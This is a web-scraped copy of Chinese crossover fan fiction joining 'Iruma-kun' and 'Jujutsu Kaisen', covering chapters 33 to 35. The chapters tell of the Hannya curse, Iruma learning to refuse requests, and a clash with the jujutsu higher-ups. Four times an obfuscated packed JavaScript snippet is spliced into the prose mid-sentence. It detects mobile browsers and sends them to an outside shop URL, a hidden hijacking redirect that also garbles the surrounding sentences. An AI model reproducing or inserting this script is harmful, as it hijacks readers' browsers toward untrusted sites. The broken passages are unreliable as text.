没有了别的干扰,入间也勉强算得上顺利地解决了坂田樱,虽然其中因为灾厄之书能够抵抗的是咒术而不是物理攻击,也被打出了一些伤口,但是总算是赢了。 在这期间出去打的五条悟和夏油杰也鸣金收兵回来,总算是能够在废墟里坐下好好商量关于咒灵的交易。 五条悟左看看右看看,嘴角带着畅快的笑,比之前更加真心实意,然后才作为中间人开口:“你开不了口,你也不知道怎么拒绝,那老子来说。” “你。”指了指入间,“需要的是咒力和咒灵,你只是需要所谓‘能量’。” 入间非常诚实地点了点头。 “而你。”指了指夏油杰,“需要的是咒灵,越高等级越好,并且术式非常稀有,老子应该在某些资料里见过类似的,总之,是需要高质量咒灵。” 夏油杰也非常诚恳表示确实如此。 那么这样一来就很好商量了,夏油杰很有一些压箱底的低等级咒灵——他的术式就是通过调伏咒灵来变强的,然而高等级咒灵也并不是那么好获得的,他属于作为个人咒术师缺少了一些信息来源。 于是,各取所需,为了这样一个一级往上的咒灵,夏油杰愿意将压箱底的三四级乃至二级咒灵都贡献出来。 总之属于皆大欢喜。 为了防止夜长梦多,夏油杰对着废墟礼貌地说了一句打扰了抱歉,就进了洗手间,准备进行调伏。 等再出来的时候,夏油杰的表情难免有点复杂,根据术式,在调伏咒灵的同时他也知道了它的术式和来历:“不知道你们有没有听说过般若。” “没有。”这是一个前期忙于求生,后期文化不通的入间。 “没有。”这是一个一直呆在家族里研究术式,不太关注相关传说的六眼。 夏油杰:“……” 夏油杰:“好吧。” 所谓般若,就是象征着嫉妒的妖怪,在传说中多由女性化身而成,属于怨灵。 因为忌恨而导致自己的灵魂在活着的状态下离开身体,攻击并且杀死自己忌恨的人,当仇恨占据了整个人的心智,再也无法回去之后,身体和灵魂再进行融合,就会成为所谓的“般若”。 如果以咒术师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750289|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的观念进行解释的话,就是在此之前,因为还是没有意识到自己是咒术师,拥有术式的“生魂”离体陷害那些偶像们,也是就是在这种情况下,艾利先生无法吸收这个“咒灵”,因为现在的“生魂”还是活人。 但是,在受到入间这个“天降偶像”的刺激之后,加剧了它产生的进程,“生魂”主动投入般若的怀抱,开始杀人。 而这次他们所调伏的坂田家般若,其实并不只是坂田樱一个人,是坂田樱和坂田美绪这对母女共同变成的怪物。 “哈?” 这个,倒是完全出乎入间的意料,就连五条悟也充满意外地看过来。 事实上,般若的产生,和坂田美绪的关系更加紧密。 是的,母亲拥有咒术师的天赋,女儿将这个天赋发扬光大,而她忌恨的对象,是自己的母亲。 坂田家到底是什么术式,即使是调伏了咒灵的夏油杰也不得而知,总之,这个不知名术式成为了传承了天赋的母女之间的“脐带”,互相控制、互相影响。 母亲一直向往着舞台,所以把女儿朝着理想中的样子打造,试图让她成为偶像,并且实现自己出道的梦想。 父母可以从孩子身上获得权力,因此坂田樱的情况反而不是那么严重。 真正严重的,是坂田美绪。 可能是造化弄人吧?坂田樱从事的化妆师行业,反而才是她最想成为的。 作为被母亲控制着的傀儡娃娃,她被母亲的“爱”深深捆绑着,母亲陪她“吃苦”,用自己的辛苦绑架孩子,扎根在坂田美绪的灵魂上,汲取着自己不曾拥有的活力。 而坂田美绪,忌恨着母亲所拥有的“自由”:能够选择吃什么、穿什么衣服,拥有自己的工作,甚至于……一个用来寄托自己的傀儡。 这样深重的怨念变成了“生魂”,离开身体影响着母亲的思维,操纵母亲。 入间所听到的、谈话之初的渴望,正是已经完全变成“般若”的女儿对母亲充满仇恨的低语: 什么时候才能看到我的优秀,什么时候才能爱我…… 好恨、好恨…… 为什么即使我遇到了欺负你也只会叫我忍耐? 为什么为什么为什么…… 这样的怨念,在坂田樱的意志最薄弱的时候彻底占据了母亲的躯壳,这下子,这对母女再也不会分开了。 “这并不是你的错。”说完来龙去脉,夏油杰试图安慰入间,却不知道怎么开口,“……毕竟……” “毕竟我已经努力过了!”入间握着拳头,接下夏油杰未尽的发言,却并没有感到沮丧的样子,“没关系的,夏油君,我明白。如果没有这次调查,说不定会有更多人受害。这并不是我的错,就算没有我,其他足够优秀的偶像出现的时候,她依旧会彻底毁灭并且大开杀戒。” “杀人是它的错误,不是我的。我已经尽我所能杀死了咒灵,阻止了它杀死更多人,已经很不错了,不可以用它的错误来惩罚我自己。” 是的,入间就是这样一个虽然有点优柔寡断,但是绝不内耗的好孩子! “杀人,是它的错误……吗……” 夏油杰若有所思。 33.心中的优先级 遇到明显是对咒术界不够了解、处于自身摸索状态的咒术师,入间难免试图替夜蛾老师招生:“夏油君要考虑来东京的咒术高专上学吗?果然还是系统性学习更好吧?” 夏油杰愣了一下:“高专吗?谢谢你,我会考虑的,不过现在对我来说最重要的还是国中的毕业升学考试,这样的话,到时候真的能进入高专,也需要铃木君作为学长多多指教了。” “欸?”入间货真价实地愣住了,他看了看身高已经超过自己、一副成熟帅哥模样的夏油杰,嘴巴都不由自主结巴起来,“你你你……还在升学?我们是高专,不是大学……没问题吗?” 他甚至以为,夏油杰入学高专的话,得是跳级当学长来的。 结果,这人,年纪居然比自己还小一些吗? “很值得意外吗?”五条悟挑了挑眉,“老子下学期也要去东京高专了,你不知道吗?” 这也是夜蛾能够放心的原因——虽然悟君嘴巴有点坏,但是是个好孩子,况且即将成为同校学生的话,能够互相熟悉也是好事。 入间:“?!” 没人告诉我啊! [猫猫抱头尖叫jpg] 两个!初中生! 这样的话,作为学长,自己岂不是超逊的了吗? 五条悟像是看出了入间的崩溃,笑嘻嘻地火上浇油:“哇,居然还是有包袱的家伙吗?被年轻人卷到沙滩上不是很正常的事情吗?毕竟不是所有人都是强大的天才的。” 入间:“!!!” 更过分了,他好歹也算是个虽然有点存疑但是在咒术方面还是有那么一点天赋的咒术师吧? “那……东京再见?”夏油杰对着他们挥了挥手,“我还在岩手县上学,这次还是因为特殊情况趁着周末来这边的,希望下学期能去贵校就读。” 在这么短的时间里,五条悟和他也算不打不成交,想起来什么,拉着夏油杰说了几句什么,顺便分享了夜蛾的联系方式。 不知道五条悟对他说了什么,夏油杰轻轻嘶了一口气:“这样不太好吧?” “试试看嘛!你不觉得很有意思吗?” “……” 夏油杰,露出了心动的表情! 于是他就真的照做了。 入间还在一边计划着接下来联系魔界的谁,没来由打了个冷颤,接下来就听到了相当不可置信的一句话:“铃木君,请帮我倒杯水。” 顿了顿,加上了杀手锏:“拜托了。” “好!好的!”入间下意识点头,发现是谁在说这话,眼里顿时充满了不可置信。 夏油君,你怎么也!不对,你怎么知道的?刚才五条君专门拉你讲的就是这个吗? 好在夏油杰提出的要求不难,毕竟都答应下来了,于是不幸被差遣的入间在废墟里欲哭无泪地找杯子,一边试图用哀怨的视线对这两个完全不尊重“前辈”的家伙进行攻击。 然而注定是要失败的。 预备役后辈们不仅不会良心痛,还会充满新奇:“真的耶,完全不会拒绝。” “对吧对吧!” 啊啊啊啊怎么会这样! 人渣,增加了! 不过,总而言之,这件事算是告一段落了,入间通过了自己的咒术师考试,现在可以收拾收拾准备回去和阿斯莫德见面。 不过,对于艾利先生来说,还有件更加重要的事情—— 在般若事件开始之前提出、拒绝别人的特训虽然被突发状况打断了,但是在艾利先生的要求下,还是坚强地提上了日程。 忍无可忍了!一想到入间被五条悟和夏油杰一戳一个蹦跶的样子,好歹在巴比鲁斯学院也算是大名鼎鼎的人物,怎么可以被这样草率地呼来喝去! 艾利先生护犊子的念头一上来,原本的怜悯和“会不会太苛刻”的想法统统被挥开,是的,它现在非常严肃! “你应该能够克服的吧?入间小弟。”艾利先生以子之矛攻子之盾,“就像你为了参加躲避球比赛,努力戒掉了只要有东西朝你扔过来就会闪避的习惯那样,戒掉无底线答应别人请求吧,拜托了,入间小弟,请你帮帮我!” 很显然,和入间一起生活时间更长的艾利先生比五条悟更懂得怎么拿捏入间,如果说“拜托了”是触发行动的关键词,那么“请你帮帮我”就是第二道保险,双管齐下,入间遇到这样的请求就没有成功拒绝过。 “我会的!” 果不其然,比“好的”更加积极和斩钉截铁的承诺就这么送进了艾利先生耳朵里。 “好!很有精神!”艾利先生鼓励道,“来,拒绝我的无理要求!” “好的,艾利先生!” “从这句话开始拒绝!” 让入间真的学会如何拒绝别人,确实不是一件容易的事情。 还是要提起那对不称职的人渣父母。在长期的缺位里,入间一直生活在孤独和对生存担忧里,于是为了适应和融入集体,无底线对别人的请求进行妥协也是没有办法的举措。 只要对别人来说是“有用的”,在常态环境下,就不会被轻易“丢下”,一个适合呼来喝去的劳动力,也能得到一些好脸色,被带着熟悉并且融入环境。 这是刻在本能里的求生基因,艾利先生已经做好了长期作战准备。 不过入间显然不这么想。伴随着数次失败,原本凝重的表情逐渐染上焦虑,害怕让艾利先生失望的情感占据大脑,越想做到越笨拙。 “艾利先生,我去一趟洗手间。”入间起身,像是下定了什么决心。 差不多半小时后,他回来了,对着艾利先生坚定地点了点头:“现在再试一次,一定可以的。” 很意外的,这次居然非常顺利,就像入间说的那样,“一定可以”,顺利到了一种不可思议的程度。 “喂,换女装吧,拜——托——了——” 五条悟的声音被艾利先生模仿得惟妙惟肖,而入间非常坚定地摇头:“抱歉,但是我不要!” “您好,客人您真的不考虑一下我们的按摩服务吗?” “谢谢好意,但是不用了。” 说是特训,其实就是艾利先生蒙住入间的眼睛,随机在模仿和打电话给联系人之间选择,让入间在不知情的情况下模拟一些容易得到请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755138|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求的话题,再让他狠狠拒绝掉。 说白了就是像之前的躲避球那样实施脱敏疗法,就算入间还记得有些人不可能这样说话,只要习惯改掉了,问题都不会太大。 直到…… “入间大人,好久不见!我已经完成了考核,可以让我来帮忙吗?” 阿斯莫德的声音一出现,入间立刻脱口而出:“啊……好啊!” 原本已经心满意足准备结束“试炼”的艾利先生简直垂死病中惊坐起:“!!!” 什么情况,怎么就忽然功亏一篑了?! 而后知后觉的入间愣了一下,充满挫败地捂住了脸:“啊啊啊啊啊,对不起!” 艾利先生在茫然和崩溃之余,也敏锐察觉到了入间的飞快进步和它想的不是一回事。 追问之下,入间才有点尴尬地回答:“嘛,因为艾利先生和阿兹君,都是我很重要的人。” 在艾利先生提出入间无法拒绝别人的弱点之后,入间自己其实也思考过类似的问题。咒术界不适想象中那种专注学习的地方,反而充斥着危险,不能拒绝别人,在这里是个非常严重的缺陷。 而他在这些天里,灵光一闪想到的速成办法,就是在脑海中率先分出请求的优先级——他本身就是一个很坦诚的家伙,魔界也不搞什么真善美,个个都追求内心欲望,所以入间也非常理所应当地有偏向和私心,这点他从不否认。 就像不会因为自己没能救下更多人自责那样,他更注重“眼前所拥有的东西”。 人生本来就存在不平等,即使是希望着能够给弱者以空间的入间,也清楚知道这点——他并不是一个长期生活在乌托邦里的理想者,而是清楚认识现实,并且容纳接受的人。 那么,既然对他来说在人类世界最重要的“人”之一的艾利先生,现在对他提出希望他拒绝别人请求的请求,入间自然愿意遵从。 这样的好处在于,因为入间非常看重的人基本在魔界,这个世界的原住民还没来得及跟他培养那么深的感情,所以艾利先生的请求能打败绝大多数人。 如果是沙利文这些入间深爱着的亲人,那么足够打败从魔界到咒术界的绝大部分。 当然,能被艾利先生打败的人里,其中不包括阿斯莫德。 不知道自己是跟这小子并列还是在他之后,艾利先生没有细究这个问题,毕竟有一半的概率自取其辱,艾利先生不会去想这些会对自己造成困扰的问题,某种意义上,他们在“活在当下”这一点上非常相似。 “用概念打败概念,不愧是你,入间小弟。”艾利先生放下心,捏着嗓子用非常娇羞的语气揶揄道,“人家勉强认可你的能力了。” 这下子艾利先生是真的逐渐放心了。 入间他还是有点脑子的嘛!至少不会被人卖了还数钱。在奇奇怪怪的创意方面,真是意外有天赋啊。 “哦,还有吸收能量的事情。”放下一颗心,艾利先生想起另一个重要问题,“还是那句话,我觉得当地下偶像,或者当艺人,很适合入间小弟的就业呢——比咒术师更合适。所以入间小弟考虑得怎么样了?” “欸?” 34.和烂橘子的会面 事件结束,却还没有完全结束。至少对于现在的入间来说,测试伴随的问题还没有完全结束。 新干线上,辅助监督满脸愁苦地拨通了什么电话:“嗯,是的……是我,麻烦您了,就在xx公寓的xxx室……是的,看受损情况可能需要报成煤气泄露造成的爆炸……是的……您辛苦了……” 接下来,不知道对面说了什么,那张脸变得有些愁苦:“啊?是吗?好的好的,我会提前下车的……” 然后,他转过头对着入间道歉:“实在抱歉,铃木君,我这边还有一些事情要去善后,接下来从新干线下车之后,会有另一位辅助监督来接应您……” “没关系的!”入间受宠若惊,“请便,希望您诸事顺利。” “好的,多谢您的理解。”辅助监督鞠了一躬,在新干线最新停靠的某个车站脚步匆忙地离开了了。 看来辅助监督即使不需要正面对上咒灵,也实在是一个辛苦活。 入间那颗觉得即使不当咒术师也可以考虑辅助监督的心,被深刻被动摇了! 抱着这样忐忑的心来到终点站,一个干瘪高瘦、穿着羽织,让人怀疑这得是哪里的老古董出门逛街的男人来到他的面前,略微低了低头,问道:“你就是咒术师铃木入间?” “是的!”入间有点惊讶,还以为辅助监督都要穿西装的来着,但是看着男人相当不耐烦的表情,他非常识趣地什么也没问。 咒术师、还能叫出自己的名字,知道自己在哪里下车,应该……不会有什么恶意吧?入间这么想着,手里还是抓住了自己的书,实在不行就随机召唤谁出来救场嘛。 谁知道,这人似乎还真的不太对劲。 车子一路行驶,周围的环境越来越陌生,甚至于,到后面看到了京都的地标。 入间欲哭无泪,不要哇,这到底是什么情况?! 抱着一丝微渺的希望,他还是跟男人确定:“那个……请问我们是要去哪里?这里看着不像是东京啊……” 男人头也不抬:“总监会的大人们要见你们。” “我们?”这个指向有点奇怪,入间下意识想到了恶食戒指里的艾利先生,结结巴巴地掩饰,“啊哈、哈哈哈,这里还有除了我以外的人吗?这是要去接另一位吗?” 用轻蔑的眼神看了一眼后座的少年,男人冷嗤一声:“哼,蠢货。” 入间:“?!” 为什么会有这养恶意满满的家伙啊! 五条悟的恶劣性格在这种人面前简直是真善美本尊。 但是入间什么都说不出来,软绵绵的脾气只会让他在被看扁之后扁扁地走开。 于是就这么一路无话来到了京都所谓的总监会。 总监会坐落在山间,看上去比东京的高专还要乡下、咳,复古,拾级而上,还能隐约看到远处的京都高专姐妹校。 穿过鸟居,入间有一种非常微妙的错觉,像是真的穿过了什么轻柔但是存在感十足的东西。 不过蠢蠢欲动的戒指和怀里的灾厄之书告诉他,这不是错觉,而是确实穿过了一层大概是结界的东西。 之所以此处在性质上堪称随处可见的结界在这里却能让艾利先生如此兴奋,是因为这个结界的能量之充沛,已经远远超过了东京高专用来抵御敌袭或者外来者入侵的结界。 “真是贪生怕死呢。”艾利先生啧啧称奇,“入间小弟我真的不能……” “不可以。”入间展现了坚定的底线,“这是很严肃的地方。” 虽然他自己经历的、被爷爷带过去的魔王候选人会议堪称魔王候选人的炫孙大会,但是入间坚信,这里的会议一定是很严肃的地方,说不定还会被德高望重的长辈们托付什么重要事情之类的。 因此对于总监会要见他,入间还是抱着积极的态度。 瞟了一眼入间亮晶晶充满期待的眼神,男人用一种相当轻蔑的眼神看了他一眼,默默记下,方便到时候反馈给咒术界高层们,摸清楚这人到底是什么脾气、可以拿去有什么用途,是拉拢重用还是可消耗的刺头炮灰。 进入充满着年代感的建筑,来到烛火昏暗的T型长廊,另一边远远就能看到辅助监督前辈和阿斯莫德。 阿斯莫德的精神状态良好,看起来事情大概也是进展得颇为顺利,但是紧紧皱着眉头,语气不满地讨价还价:“我还没见到入间君,按理来说同样是考试,不可以一起过来吗?为什么一定要分开?万一和入间君错过了怎么办?” 学长表情是一种难以言喻的萧瑟和疲惫:“嗯嗯嗯,好好好,我明白了,嗯……” 看这个熟练程度,很难不怀疑这场对白出现的次数过分频繁,以至于已经形成了一套成熟的应付体系。 理解,回应,但是坚决不愿意松口。 不敢想象在这短短的时间里,前辈都经历了什么。 熟悉的人的出现倒是很好抚平了入间心底的不安,他笑着朝对面挥了挥手,这个动作像是点亮了阿斯莫德,喊着什么“入间君”啊“好久不见”啊的,就一路小跑着冲了过来。 “阿兹君的考核还顺利吗?”入间 “因为想早点见到入间君,所以努力参加考试。”阿斯莫德说,“目前一切顺利。” 前辈:“……” 真敢说啊,你小子! “前田。”男人对着前辈略点了一下头,语气不容否认,“我来带他们去见大人们。” “可是……”前辈倒是还想挣扎一下,最后却叹了口气,在前后辈文化面前认输,或者是向男人背后的人认输,“是……” 然后转过头,对着他们使了一个微不可察眼色。 阿斯莫德因为这微妙的氛围而下意识警惕起来,在男人示意他们不要再婆婆妈妈叙旧跟上来的时候,下意识让入间走在自己身后。 看样子,这次是来者不善呢。 走廊尽头,是一间房间,中间一道白光,像是指引。走过去之后,那束光消失,周围忽然凭空出现若干扇门,包围着他们,汇聚成一个圈,门的后面,昏黄的烛火一盏盏亮起来,隐约能够看到后面的人形轮廓。 说实话,入间差点以为是突然出现的咒灵。 比之前更加刺眼的白光在门后人开口的一瞬忽然劈头盖脸,照得人稍显狼狈,几乎难以睁开,好不容易适应环境,入间听着门后的发言,甚至怀疑自己在梦里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757855|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或苍老或浑厚的声音在门后响起,却完全分不清到底是谁在发言,总监会的构成无非是各种代表势力和他们身后的御三家,因此伪善冷酷有余,慈爱或者人应该具备的优秀品质暂且可称之为虚无。 他们拖着慢吞吞的嗓子,颇为居高临下地问道:“一级咒术师阿斯莫德·艾利斯,一级咒术师铃木入间?” “是的。”入间点了点头。 “哼,看起来徒有虚名。” 门后有人在听见“徒有虚名”的评价后不满地咳嗽了一声,大概是五条家的人——毕竟这次他们的神子莫名其妙对东京高专的新生产生了兴趣,成为了入间考核的监督者,质疑入间的水平也会影响到他们五条家的声誉。 于是那人收敛了一下,故作高深地打压:“你们实在是桀骜不驯,居然如此怠慢……” 在显而易见又长又臭、并且不会有什么信息量的训话里,入间默默大脑放空:“……” 总之由艾利先生友情概括一下就是,在这群人嘴里,入间和阿斯莫德的术式并不算顶尖,也没有传承悠久的家世,虽然在此次考核中展现了一定的能力,但是如果没有咒术界作为平台、甚至于没有高层们给予机会的话,他们也不可能拥有现在这样的水平。 仿佛咒灵不是什么危害别人生命安全的怪物,而是什么经过豢养、人畜无害的小动物一样,是总监会实在好心放出来给咒术师们考级练手,白送钱的美事。 入间:“……” 不理解,并且大受震撼。 提供机会和平台,这话维护表面和平、增加升阶机会,常常以实力定胜负的魔界学校能说,但是这话由剥削咒术师还经常出现情报错误、评定咒灵等级出现问题,屡次坑害到咒术师的高层嘴巴里当成恩赏,就艺术到了一种好笑的境界。 以至于在听到这话的时候,即使是阿斯莫德,感觉到的也不是愤怒,而是忍不住笑了出来的荒诞。 真敢说啊,这些烂橘子。 “入间大人。”阿斯莫德小声征询入间意见,不再用人类中互称的“君”,而是熟悉的、在魔界时候称呼的“大人”,“作为恶魔实在难以忍受这样对您的羞辱……要不在下放火烧了这里吧?” 恶魔可不讲究什么地位上的尊师重道,只有实力才能让人臣服。 这句话倒是启发了入间,他抓住阿斯莫德的手提醒他稍安勿躁,然后偷偷让艾利先生划破自己的指尖。 “嘭——” 伴随着震耳欲聋的爆裂声,魔界的特产植物种子在吸收了入间的血液之后,开始近乎疯狂地生长膨胀,直到撑破了整栋建筑,饱满的花苞从长长的枝蔓中生长,张开了布满利齿的大嘴,朝着匆匆赶来对烂橘子们进行救援的咒术师们发射带着强烈腐蚀性和恶臭的巨大尖刺。 是的,魔界就是这样一个武德充沛的世界,几乎难以见到毫无攻击力的温驯植物,入间的血对于植物们来说更是难得一见的大补。 “现在该发愁的不是我们了。”入间对着阿斯莫德眨了眨眼睛,努力抿起嘴角忍住笑意。 阿斯莫德没有说话,在心潮澎湃中,心跳声震耳欲聋。 会偷偷干坏事的入间大人,更迷人了! 35.卡鲁耶格老师救命! 魔界出品,必属精品。况且是能被研究狂人巴拉姆赠送的魔植品种,恐怕也只比苏姬老师当初用来暴捶一二年级学生们的加特林食人花稍微差一点。 一定要入间自己来解释,他也说不上来自己为什么会想到用植物打断这场谈话,可能是害怕到时候阿兹君和那些总监会高层总有一个会气炸吧? 而且……入间也想看看,总监会是怎样的水平,是不是跟魔界的十三冠会议一样,强者如云。 然而…… 入间:“嗯……” 丝毫没有被总监会建筑外层层叠叠结界察觉的种子就这样嚣张地对着周围无差别攻击,那些用来装模作样的门被枝条抽得破破烂烂不堪一击,一群满脸皱纹躲在门后的老家伙们穿着早就和社会脱节的服装,颇为狼狈地抵抗。 其中一部分的抵抗能力甚至不如巴比鲁斯的一年级新生。 好在,确实也有些有真材实料的家伙。 譬如在咒术师们处于占据下风的时候,其中一位穿着黑色和服,腰上挂着葫芦的白发老头子推倒了面前的门,活动着手脚起身,拔出腰间的刀,以肉眼几乎难以捕捉的速度对那株魔界植物发动攻击。 还好,其中也不乏一些有些水平的强者,毕竟咒术师内部本身就有术式的拜高踩低,一味的威慑没有足够的实力那就是不堪一击。 已经不知不觉逐渐思路简单直白恶魔化的入间,浑然不觉地想着。 伴随着长声的嘶鸣,魔植的花朵纷纷掉在了地上,其中一朵降落在了大概术式实在很差的家伙身边,以至于即使只是死掉的花,那尖锐的口齿也把他吓得连连后退,用脚疯狂踹着花瓣,看上去相当狼狈。 “你们这两个蠢货,还不快把这个东西拖走!” 这话从这种弱得让人提不起劲关注的人嘴里说出来,甚至连阿斯莫德都不至于被惹怒,所以他俩保持了相当的镇静。 而他们的镇静似乎被误解成了顺从,于是那个超级狼狈的家伙,百忙之中还要来一句:“哼,没见识,这就是我们禅院家的家主……” 哦,禅院家,夜蛾老师说的咒术界御三家,禅院,五条和加茂,据说拥有强大的家传术式,所以麾下的咒术师也不可计数。 所以呢?跟他有什么关系? “啊,难道这就是传说中的家传术式?”入间非常勤学好问地打听。 短短的几句话,像是狠狠戳中了这人的肺管子:“蠢货!即使这不是家传的‘十影’术法,也已经是相当强悍的术式了,这可是禅院家的家主和他的投射咒法,只要目标没有按照投射的动作行动,就会被定格!” 原来如此,看样子术式是随机遗传,并不像是魔界的家系能力,人人皆有。即使家主,也不一定会有所谓的家传术式么…… 入间缺乏的常识,以一种奇怪的方式,被科普了。 “但是这跟你有什么关系,为什么你这么激动?” 来了,熟悉的天然,发力了,在无知无觉里狠狠戳人痛点! 那人被气的滋哇乱叫,直到被赶来的人搀扶着下去,还在对他们翻来覆去说一些“你等着”“我记住你了”的狠话。 “他为什么这么生气?”这是真不知道原因的始作俑者。 “谁知道呢?”这是知道但是不以为意的溺爱者。 艾利先生:“……” 果然无知无觉最气人。 蹲下身,入间抓着还没有完全消散的魔植花,脑海中忽然闪过灵感,顺从地点点头,继续勉强敷衍喋喋不休的老头子,背地里悄声问艾利先生:“艾利先生,你或者灾厄之书,能吸收魔植吗?” 既然魔植被咒术师们判定为咒灵,那么就表明它确实是能量体,既然是能量体,咒灵可以被吸收,在这个世界种的魔植,有没有被吸收的可能? 魔植只需要入间的血就能催发,如果这种思路可行的话,那么就相当于制造了一条自给自足的产业链。 艾利先生:“……” 艾利先生:“……入间小弟,你莫非是天才?” 当然,处于某些特殊原因,艾利先生自己是没办法吸收的,所以入间装作书本一不小心掉在地上的样子,压住了魔植的残骸。 果然,残骸消失了,但是书背上的能量却并没有提升的意思。 入间:“?!” 好奇怪,不确定,再种一棵试试。 不过,入间的尝试被赶过来的夜蛾打断了。 入间下意识把种子塞回口袋,虽然不知道为什么产生了心虚的念头但是总之收起来一下。 而因为这样突发的事件,烂橘子们忙于自查到底是哪个环节的疏漏造成咒灵的成功入侵,本来准备好的针对新人咒术师的批判自然也就不了了之。 至于某些当事人或者知情人作何感想…… “……是你们吧?” 对于总监会遇袭,作为也参与了其中的救援的一员,那熟悉的面目狰狞还找不到来处的植物“咒灵”,对于夜蛾来说既视感真的太强了,莫名就会让他想到上次出现在学生们宿舍里的那个体型巨大、一看就不是人的家伙。 这是自己捡回来的学生,这是自己捡回来的学生,不能扔不能扔…… 夜蛾努力深吸一口气,对入间一贯的老实孩子印象让他萌生出不该有的希望:“是遇到了什么威胁吗?或者是什么意外呢?” 总之给我一点放过你们的理由啊臭小子们! “是的,他们对入间君进行了令人难以忍受的侮辱!”阿斯莫德振振有词,“我认为入间君不该受到这群虚有其表还不值得尊敬家伙的打压和指责!” “不过是一些话,一只耳朵进一只耳朵……”夜蛾还想说什么,总归是普通咒术师们一贯的想法,忍耐一下,装作认真倾听,敷衍塞责就可以了。 但是对于这样年轻的孩子,也想起了曾经的那些年轻面孔,夜蛾什么都说不出来了。 忍让之后呢? 毕竟强术式还是少数,能够顺利入学东京高专的更是寥寥。 所以其他孩子因为没有足够的能力,于是他的教育将这样半逃避的观点贯彻落实了,他们尊敬这个老师,所以也就乖乖听话,该出任务出任务,该低头低头。 最后得到了什么呢? 他只得到了一具又一具尸体,奔波在受害现场和火葬场的路上…… 因为没有“归顺”,不是附庸于咒术师世家、为他们所听命的,所以只是试探的耗材…… 作为师长的夜蛾所能够做的,也就只有在又一个怀揣着相同想法和理想的同事死亡后,作为名义上调配顶岗的新班主任,将她的学生、这一届唯一的学生冥冥托付给了京都姐妹校。 可是……受伤的事实并不会因为愈合而消失,就像总监会永远会对那些年轻的咒术师疯狂压榨坑害。 所以夜蛾沉默许久,最后只是拍了拍他们的脑袋:“下次注意点,不要被发现。” 没有被揍一顿,入间反而有点意外,但是看着忽然有些沮丧的夜蛾老师,他想了想,还是什么都没说,鞠了一躬,拉着阿斯莫德出去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785497|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能现在说什么,对夜蛾老师都是一种伤害吧。 “入间大人,我认为虽然他们确实存在较强的咒术师,但是也只是少数,还是有尸位素餐的家伙的……”阿斯莫德知道入间实在是心软的人,努力寻找新的话题,“所以我们还得谨慎行事……” “嗯,没关系的,阿兹君。”入间深吸一口气,“不要被无法参与的事情牵绊住,我们如果变强的话,也能够帮助到夜蛾老师吧。” “嗯!” 是的,就是这样!在他眼里,入间大人就是这样不会被任何事情干扰的坚定灵魂。 不过为了防止夜蛾老师又被他们气到,新账旧账一起算,入间和阿斯莫德还是选择了某个传闻中出现灵异事件的神社实现他们在总监会时候产生的、对魔植的构想。 翻开灾厄之书,不知道从什么时候起,本应该处在尾页的恶魔欧佩拉身后,又多出了一页新的内容,上面是一朵张牙舞爪的花。 看那个刀口,这朵花显然是来自于之前被禅院家家主杀死的魔植。 “也就是说,这本书进化了,有了新的功能?”艾利先生有些惊讶,“入间小弟,你跟这本书真是契合啊。” 能够封印魔植的话,再进化下去,能不能封印恶魔?封印什么等级的恶魔、有什么限制?被封印者能否像人类世界的所罗门王传说一样,被持有者差遣? 细想下去,发展的潜力简直无法想象。 入间也被艾利先生的话分了神,撕开伤口滴在魔植种子上的血不由自主多流了一会。 “入间大人——”这事才亲眼见证入间到底是怎么在人类世界种出魔植的阿斯莫德瞪大了眼睛,连忙掏出随身准备的医疗用品给入间进行包扎,“你不应该这样伤害自己。” “因为我想让阿兹君知道……我想让阿兹君逐渐了解我。”入间乖乖任由阿斯莫德帮他包扎,认真地看着面前的人,语气坚定。 他的人类身份,迟早要坦白的,就像之前他一直计划却犹豫的那样。 这是一个慢慢透露的契机,告诉阿斯莫德,他和恶魔的区别,然后逐渐温水煮青蛙,最后彻底告知真相。 “了、了解……”阿斯莫德被猝不及防的直球打了个正着,语气不由自主结巴起来,“但是也不能……小心——” 虽然理想丰满,但是现实是入间没能了解自己作为人类,血液不仅对恶魔、魔植等魔界生物是补品,而且补多了,魔植也会升级! 